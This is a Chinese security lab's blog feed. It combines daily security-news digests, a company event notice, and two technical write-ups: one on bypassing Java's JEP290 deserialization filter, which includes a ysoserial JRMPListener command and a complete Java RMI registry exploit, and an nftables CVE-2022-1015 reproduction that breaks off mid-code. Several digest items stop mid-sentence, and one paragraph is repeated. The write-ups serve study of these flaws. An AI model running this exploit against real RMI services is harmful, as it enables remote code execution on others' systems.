网络安全日报 2023年07月07日
1、SolarView系列产品受到多个安全漏洞的影响 https://www.vulncheck.com/blog/solarview-exploitation 研究人员称,SolarView产品中的CVE-2022-29303漏洞可被利用,攻击者可能利用该漏洞针对能源机构进行攻击。CVE-2022-29303是一个未经身份验证的远程命令执行漏洞,自2023年3月以来,就有研究人员观察到Mirai僵尸网络新变种利用该漏洞进行传播。使用Shodan对615个暴露在互联网上的SolarView扫描后,研究人员发现仍有425个产品易受攻击,这表明只有不到三分之一的SolarView系列产品针对该漏洞进行了安全更新。此外,研究人员表示SolarView 2、研究人员发现伪装成美国邮政的网络钓鱼活动 https://www.malwarebytes.com/blog/threat-intelligence/2023/07/malicious-ad-for-usps-phishes-for-jpmorgan-chase-credentials 研究人员发现一起伪装成美国邮政(USPS)的网络钓鱼活动。在Google中搜索关键词“usps tracking”就能够发现相关钓鱼推广,该恶意推广显示美国邮政局的官方网站链接及图标,但是其背后的广告商与美国邮政没有任何关系。点击该恶意推广的用户会跳转至一个钓鱼网站,该网站要求输入订单号,在提交订单号后该网站会返回“由于信息不完整,您的包裹无法送达” 3、Anonymous Sudan组织声称对Riot Games发起DDoS攻击 https://thecyberexpress.com/anonymous-sudan-claims-to-target-riot-games/ Riot Games是一家美国视频游戏开发商及发行商,Anonymous Sudan组织声称对该公司发起了分布式拒绝服务(DDoS)攻击。该组织在Telegram中发表帖子称此次攻击持续了30至60分钟,但研究人员经过初步调查后发现Riot Games网站未出现异常,仍在正常运营。相关威胁情报部门没有证实此次攻击的真实性,Riot Games也尚未对此次攻击事件发表声明。 4、TeamsPhisher 工具利用 Microsoft Teams 部署恶意软件 https://cyware.com/news/teamsphisher-tool-exploits-microsoft-teams-to-deploy-malware-325a6034 GitHub 上提供的新工具可以使攻击者滥用 Microsoft Teams 中最近披露的漏洞,并自动将恶意文件传送到用户系统。 5、Crysis 勒索团伙使用 RDP 连接分发 Venus 勒索软件 https://cyware.com/news/crysis-threat-actors-use-rdp-connections-to-distribute-venus-ransomware-bddeda1e ASEC 最近发现 Crysis 勒索软件攻击者正在通过暴力或字典攻击扫描互联网,寻找易受攻击的 RDP 端点,以便在系统上安装 Venus 勒索软件。 6、思科警告其Nexus 9000系列交换机存在可破坏加密流量的漏洞 https://www.bleepingcomputer.com/news/security/cisco-warns-of-bug-that-lets-attackers-break-traffic-encryption/ 思科今天警告客户,一个高严重性漏洞会影响某些数据中心交换机型号,并允许攻击者篡改加密流量。该漏洞的编号为 CVE-2023-20185,是在数据中心 Cisco Nexus 9000 系列交换矩阵交换机的 ACI 多站点 CloudSec 加密功能的内部安全测试过程中发现的。 7、Android 7月安全更新补丁修复了 3个被广泛利用的漏洞 https://www.securityweek.com/android-security-updates-patches-3-exploited-vulnerabilities/ Google 的 2023 年 7 月 Android 安全更新修复了 43 个漏洞,其中三个漏洞被广泛利用。 8、壳牌确认与 MOVEit 漏洞相关的勒索攻击和数据泄露事件 https://www.securityweek.com/shell-confirms-moveit-related-breach-after-ransomware-group-leaks-data/ 壳牌确认,在 Cl0p 勒索软件组织泄露了据称从该能源巨头窃取的数据后,员工个人信息已被盗。能源巨头壳牌公司证实,由于最近的 MOVEit Transfer 黑客攻击,属于员工的个人信息已被泄露。 9、JumpCloud 称现有API 密钥均已失效,以保护客户及其运营 https://www.securityweek.com/jumpcloud-says-all-api-keys-invalidated-to-protect-customers/ 设备、身份和访问管理解决方案提供商 JumpCloud 已重置客户 API 密钥,以应对“持续发生的事件”。JumpCloud 尚未分享任何信息,但发送给客户的通知表明它正在处理安全事件。该公司表示,现有的 API 密钥已失效,以保护客户的“组织和运营”。 10、一个新的Linux内核提权漏洞-StackRot,可用于提权 https://securityaffairs.com/148231/security/stackrot-linux-kernel-privilege-escalation-bug.html StackRot 是 Linux 内核中的新安全漏洞,可被利用来获得目标系统上的提升权限。一个名为StackRot的安全漏洞 被发现影响 Linux 版本 6.1 到 6.4。该问题编号为CVE-2023-3269(CVSS 评分:7.8),是内存管理子系统中的权限提升问题。无特权的本地用户可以触发该缺陷来危害内核并提升权限。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技承办中南大学学生认知实习活动
为加强网络空间安全人才队伍建设,深化产学研合作,提高高校学生岗位认知,2023年7月5日,蚁景科技为中南大学计算机学院的70余名学生组织了认知实习活动。这次活动为同学们提供了深入了解网络安全领域和行业发展的机会。 中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。 中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。
网络安全日报 2023年07月06日
1、Ghostscript中的漏洞可能允许恶意文档执行系统命令 https://nakedsecurity.sophos.com/2023/07/04/ghostscript-bug-could-allow-rogue-documents-to-run-system-commands/ Ghostscript是Adobe公司PostScript文档组合系统及PDF文件格式的免费开源实现,它读取PostScript程序代码,该代码描述了如何在文档中构建页面,并将其转换为更适合显示或打印的格式。目前Ghostscript的最新版本为10.01.2,在此版本之前的产品中存在一个安全漏洞,被标记为CVE-2023-36664。经过构造的恶意文档不仅能够利用该漏洞 2、ARx Patient Solutions证实其数据泄露 https://cybernews.com/privacy/us-healthcare-breach-child-patient-data/ ARx Patient Solutions是一家总部位于堪萨斯州的医疗保健提供商,该公司表示在2022年遭受了一次网络攻击,并可能导致4万多人的个人信息泄露,其中包括儿童患者的姓名、处方信息、保险账号、医生姓名等细节,并可能暴露了社会保障号码。该公司于7月日将调查结果通知了缅因州总检察长办公室,据司法部长称,目前确认有526名缅因州居民受到此次事件的影响,但潜在的受害者总数达到41166人。目前还没有证据表明这些数据遭到滥用。 3、Firefox 115 修复高危UAF漏洞 https://www.securityweek.com/firefox-115-patches-high-severity-use-after-free-vulnerabilities/ Mozilla 已向稳定频道发布了 Firefox 115,其中包含两个高严重性UAF漏洞的补丁。 4、RedEnergy Stealer 勒索软件针对能源和电信行业 https://thehackernews.com/2023/07/redenergy-stealer-as-ransomware-threat.html 人们通过 LinkedIn 页面发现了一种名为RedEnergy的复杂窃取勒索软件威胁,其目标是巴西和菲律宾的能源公用事业、石油、天然气、电信和机械行业。 5、瑞典数据保护局警告公司不要使用 Google Analytics https://thehackernews.com/2023/07/swedish-data-protection-authority-warns.html 继去年奥地利、法国和意大利采取类似行动后,瑞典数据保护监管机构警告企业不要使用谷歌分析,因为美国政府的监控带来风险。 6、日本最大港口名古屋港遭遇勒索软件攻击 https://securityaffairs.com/148184/cyber-crime/port-of-nagoya-ransomware-attack.html 日本最大的港口名古屋港遭受勒索软件攻击,其运营受到严重影响。 7、研究报告显示无文件或基于内存的攻击增加了 1400% https://www.ithome.com/0/703/564.htm Nautilus 研究发现,与 2022 年报告相比,无文件(fileless)或基于内存的攻击增加了 1400%,主要利用现有软件、应用或者协议中的漏洞,在云端系统中执行恶意活动,超过 50% 的攻击集中在绕过防御机制上。 8、 俄罗斯卫星电信证实遭到黑客攻击 https://cybernews.com/cyber-war/russian-satellite-telecom-confirms-hacker-attack/ 俄罗斯国防部和安全部门使用的俄罗斯卫星通信提供商 Dozor-Teleport 证实,黑客入侵了其系统。 9、美国海军首设网络战兵种,推动网络作战能力专精化 https://www.secrss.com/articles/56282 美国海军为水兵们制定了全新的网络战兵种,希望藉此加强培训,打造一支专业的网络作战力量。 10、今年 33 家美国医院遭受勒索软件攻击 https://www.infosecurity-magazine.com/news/thirtythree-us-hospitals/ 根据 Emsisoft 的数据,至少 19 家遭受勒索软件攻击的医疗保健提供商经营着 33 家医院,而这 19 家医院中至少有 16 家的数据被泄露。去年,68% 的案例发生了数据泄露。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
浅谈 JEP290
0x01 前言 属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。 一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI 8u121 ~ 8u230 打不了 RMI 0x02 关于 JEP290 JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事 1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。 官方从 8u121,7u13,6u141 分别支持了这个 JEP 0x03 JEP290 防御手段分析 先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI 尝试去攻击,这里会报错,报错部分信息为 java.io.ObjectInputStream filterCheck 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler 可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类 我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。 跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进 先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进 跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。 在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法 readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进 而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。 这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法 对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个: return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var 而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤 0x04 JEP290 绕过 这里我们可以先看一下白名单里面都能过什么,白名单如下 String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass 绕过利用 思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样 先用 ysoserial 开启 JRMP 3333 端口的监听 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc" 然后编写 RMI 的 EXP import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 {    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {                Registry.class       }, obj);        reg.bind("Hello",proxy);   } } 这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。 绕过分析 我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象 当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信 这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化 接着来看看 yso 中的 JRMPClient 是做了什么操作 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {    Registry.class }, obj); return proxy; 这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去: 这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下 readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 一路跟进到 sun.rmi.transport.LiveRef#read 可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。 跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。 到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进 releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法 var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息 接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下 里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。 在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。 invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP 至此绕过分析结束 0x05 小结 本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
网络安全日报 2023年07月05日
1、攻击者利用GuLoader传播Remcos远控木马 https://blog.morphisec.com/guloader-campaign-targets-law-firms-in-the-us 研究人员发现一起利用GuLoader传播Remcos远控木马的网络钓鱼攻击活动。攻击者向目标发送钓鱼邮件,在附件中给出一个看似加密的PDF文件,并在邮件正文中提供PIN码。PDF文件显示该文件需要解密后才能够进行查看,攻击者以此引诱目标用户点击该PDF中的图标,从而跳转至图标中包含的链接。该链接指向的网站要求用户输入PIN码,并提供下一阶段的VBS脚本。该脚本经过混淆处理,执行后从github.io域中获取GuLoader,并最终执行Remcos远 2、仍有超过30万台FortiGate防火墙受到FortiOS漏洞的影响 https://bishopfox.com/blog/cve-2023-27997-exploitable-and-fortigate-firewalls-vulnerable FortiGate防火墙受到CVE-2023-27997安全漏洞的影响,该漏洞将会导致远程代码执行,评分为9.8。FortiOS是将所有Fortinet网络组件连接起来以进行集成的操作系统,该漏洞是由FortiOS中基于堆的缓冲区溢出问题造成的。Fortinet于6月11日解决了该漏洞问题,但研究人员经过调查后发现,目前仍有超过30万台FortiGate防火墙设备没有进行安全更新,面临安全风险。 3、研究人员捕获大量二维码网络钓鱼邮件 https://www.inky.com/en/blog/fresh-phish-malicious-qr-codes-are-quickly-retrieving-employee-credentials 近期,研究人员捕获到数百封二维码网络钓鱼邮件,目标受害者主要在美国和澳大利亚,涉及非盈利组织、财富管理公司、管理顾问、土地测量师、地板公司等。这些钓鱼邮件通常会仿冒成一些知名的公司,在邮件中嵌入二维码图片,并通过二维码将用户引导至一个经过伪造的网页中,以此诱使用户输入凭证。 4、墨西哥黑客利用 Android 恶意软件攻击全球银行 https://thehackernews.com/2023/07/mexico-based-hacker-targets-global.html 一名来自墨西哥的电子犯罪分子与 2021 年 6 月至 2023 年 4 月期间针对全球金融机构的 Android 移动恶意软件活动有关,但特别关注西班牙和智利的银行。 5、Evasive Meduza Stealer 针对 19 个密码管理器和 76 个加密钱包 https://thehackernews.com/2023/07/evasive-meduza-stealer-targets-19.html 犯罪软件即服务 ( https://thehackernews.com/2023/06/new-mystic-stealer-malware-targets-40.html ) 生态系统利润丰厚的另一个迹象是,网络安全研究人员发现了一种名为Meduza Stealer的新型基于 Windows 的信息窃取程序,其作者正在积极开发该程序,以逃避软件解决方案的检测。 6、黑客从 Poly Network 平台窃取了价值数百万美元的加密资产 https://securityaffairs.com/148129/cyber-crime/poly-network-platform-hacked.html 由于网络攻击导致数百万美元的加密资产被盗,Poly Network 平台在周末暂停了服务。威胁行为者从 Poly Network 平台窃取了价值数百万美元的加密资产。 7、警惕!“AI换脸”诈骗出现涉政苗头 https://www.secrss.com/articles/56227 近期,各地曝出多起人工智能“辅助”诈骗案件。一些不法分子利用人工智能“深度伪造”冒充领导干部行骗,值得引起高度警惕。 8、BlackCat勒索团伙通过恶意广告分发伪装成 WinSCP 的勒索软件 https://thehackernews.com/2023/07/blackcat-operators-distributing.html 恶意广告是指利用SEO中毒技术通过在线广告传播恶意软件。它通常包括劫持一组选定的关键字,在Bing和Google的搜索结果页面上显示虚假广告,以将用户引到一些恶意网站。 9、微软否认重大 3000 万客户数据泄露事件 https://www.infosecurity-magazine.com/news/microsoft-denies-major-30-million/ “目前,我们对数据的分析表明,这不是合法的主张和数据汇总。我们没有看到任何证据表明我们的客户数据已被访问或泄露。”微软指出。 10、安全人员发现大量TikTok、Instagram 和雅虎的数据泄露 https://socradar.io/major-data-leaks-on-tiktok-instagram-and-yahoo/ 一位 SORadar 暗网分析师最近发现了 Instagram 涉嫌数据库泄露的情况。据报道,泄露的数据包含超过 1700 万条 JSON 格式的记录。数据的性质表明它可能是从开源收集的。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍 Nftables Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点(Hook Point) 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 // include/uapi/linux/netfilter_ipv4.h #define NF_IP_PRE_ROUTING   0 /* After promisc drops, checksum checks. */ #define NF_IP_LOCAL_IN       1 /* If the packet is destined for this box. */ #define NF_IP_FORWARD       2 /* If the packet is destined for another interface. */ #define NF_IP_LOCAL_OUT     3 /* Packets coming from a local process. */ #define NF_IP_POST_ROUTING   4 /* Packets about to hit the wire. */ #define NF_IP_NUMHOOKS       5 Nftables的架构 Nftables由四部分组成 table(表):用于指定网络协议的类型,如ip,ip6,arp等 chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。 rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。 express(表达式):表达式则是具体的操作。 使用非常形象的图描述,如下 表达式(express) 表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。 nft_payload nft_payload用于将数据包的值拷贝到寄存器中 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; base:数据包类型 offset:数据包起始位置的偏移 len:拷贝的长度 dreg:目的寄存器 其中base的类型由enum nft_payload_bases指定 /* include/uapi/linux/netfilter/nf_tables.h */ /** * enum nft_payload_bases - nf_tables payload expression offset bases * * @NFT_PAYLOAD_LL_HEADER: link layer header * @NFT_PAYLOAD_NETWORK_HEADER: network header * @NFT_PAYLOAD_TRANSPORT_HEADER: transport header * @NFT_PAYLOAD_INNER_HEADER: inner header / payload */ enum nft_payload_bases { NFT_PAYLOAD_LL_HEADER, //链路层 NFT_PAYLOAD_NETWORK_HEADER, //网络层 NFT_PAYLOAD_TRANSPORT_HEADER, //传输层 NFT_PAYLOAD_INNER_HEADER, //数据包内部 }; 下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2 base = NFT_PAYLOAD_TRANSPORT_HEADER offset = 16 -> the checksum is 16 bytes away from the start of the TCP header len = 2 -> the checksum is 2 bytes dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00) nft_payload_set nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面 /* include/net/netfilter/nf_tables_core.h */ struct nft_payload_set { enum nft_payload_bases base:8; u8 offset; u8 len; u8 sreg; u8 csum_type; u8 csum_offset; u8 csum_flags; }; 与nft_payload不同的是多了校验和的可选选项 nft_cmp_expr nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。 struct nft_cmp_expr { struct nft_data data; u8 sreg; u8 len; enum nft_cmp_ops op:8; }; data:用于设置比较的常量值 sreg:源寄存器,可以认为是数据包取出的内容 len:比较的长度 op:比较的操作,具体操作类型如下所示 <!-- -->/** * enum nft_cmp_ops - nf_tables relational operator * * @NFT_CMP_EQ: equal * @NFT_CMP_NEQ: not equal * @NFT_CMP_LT: less than * @NFT_CMP_LTE: less than or equal to * @NFT_CMP_GT: greater than * @NFT_CMP_GTE: greater than or equal to */ enum nft_cmp_ops { NFT_CMP_EQ, NFT_CMP_NEQ, NFT_CMP_LT, NFT_CMP_LTE, NFT_CMP_GT, NFT_CMP_GTE, }; nft_bitwise nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。 struct nft_bitwise { u8 sreg; u8 dreg; enum nft_bitwise_ops op:8; u8 len; struct nft_data mask; struct nft_data xor; struct nft_data data; }; sreg:源寄存器 dreg:目的寄存器,用于存放最后的结果 op:指定具体的比特操作,具体操作如下 <!-- -->/** * enum nft_bitwise_ops - nf_tables bitwise operations * * @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and *                   XOR boolean operations * @NFT_BITWISE_LSHIFT: left-shift operation * @NFT_BITWISE_RSHIFT: right-shift operation */ enum nft_bitwise_ops { NFT_BITWISE_BOOL, NFT_BITWISE_LSHIFT, NFT_BITWISE_RSHIFT, }; mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中 xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中 data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。 寄存器(register) 在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示 enum nft_registers { NFT_REG_VERDICT, //判定寄存器 NFT_REG_1, NFT_REG_2, NFT_REG_3, NFT_REG_4, __NFT_REG_MAX, NFT_REG32_00 = 8, NFT_REG32_01, NFT_REG32_02, ... NFT_REG32_13, NFT_REG32_14, NFT_REG32_15, }; 其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下 NFT_CONTINUE:允许数据包通过防火墙 NFT_BREAK:跳过剩余的规则表达式 NF_DROP:直接丢弃数据包 NF_ACCEPT:接收数据包 NFT_GOTO:跳转到其他链执行 NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链 libmnl与libnftnl 由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl 环境搭建 环境版本 ubuntu 20.04 qemu-system-x86_64 4.2.1 Linux-5.17源码 设置编译选项 cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17 sudo gedit .config #将下列选项设置为y CONFIG_NF_TABLES=y CONFIG_NETFILTER_NETLINK=y CONFIG_USER_NS=y CONFIG_E1000=y CONFIG_E1000E=y make -j32 bzImage #编译 #安装依赖库 sudo apt-get install libmnl-dev sudo apt-get install libnftnl-dev 漏洞验证 若运行exp显示超过边界则代表没有漏洞 若exp正常运行则代表漏洞 漏洞分析 源码分析 nft_parse_register_load nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。 nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。 File: net\netfilter\nf_tables_api.c 9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len) 9326: { 9327: u32 reg; 9328: int err; 9329: 9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标 9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点 9332: if (err < 0) 9333: return err; 9334: 9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中 9336: return 0; 9337: } nft_parse_register nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。 File: net\netfilter\nf_tables_api.c 9278: static unsigned int nft_parse_register(const struct nlattr *attr) 9279: { 9280: unsigned int reg; 9281: 9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8 9283: switch (reg) {       //0 - 4是16字节寄存器 9284: case NFT_REG_VERDICT...NFT_REG_4: 9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4 9286: default:       //由于4字节寄存器起始下标为8,因此要减去起始下标 9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4 9288: } 9289: } nft_validate_register_load nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。 正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题 漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff <!-- -->File: net\netfilter\nf_tables_api.c 9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len) 9314: { 9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // 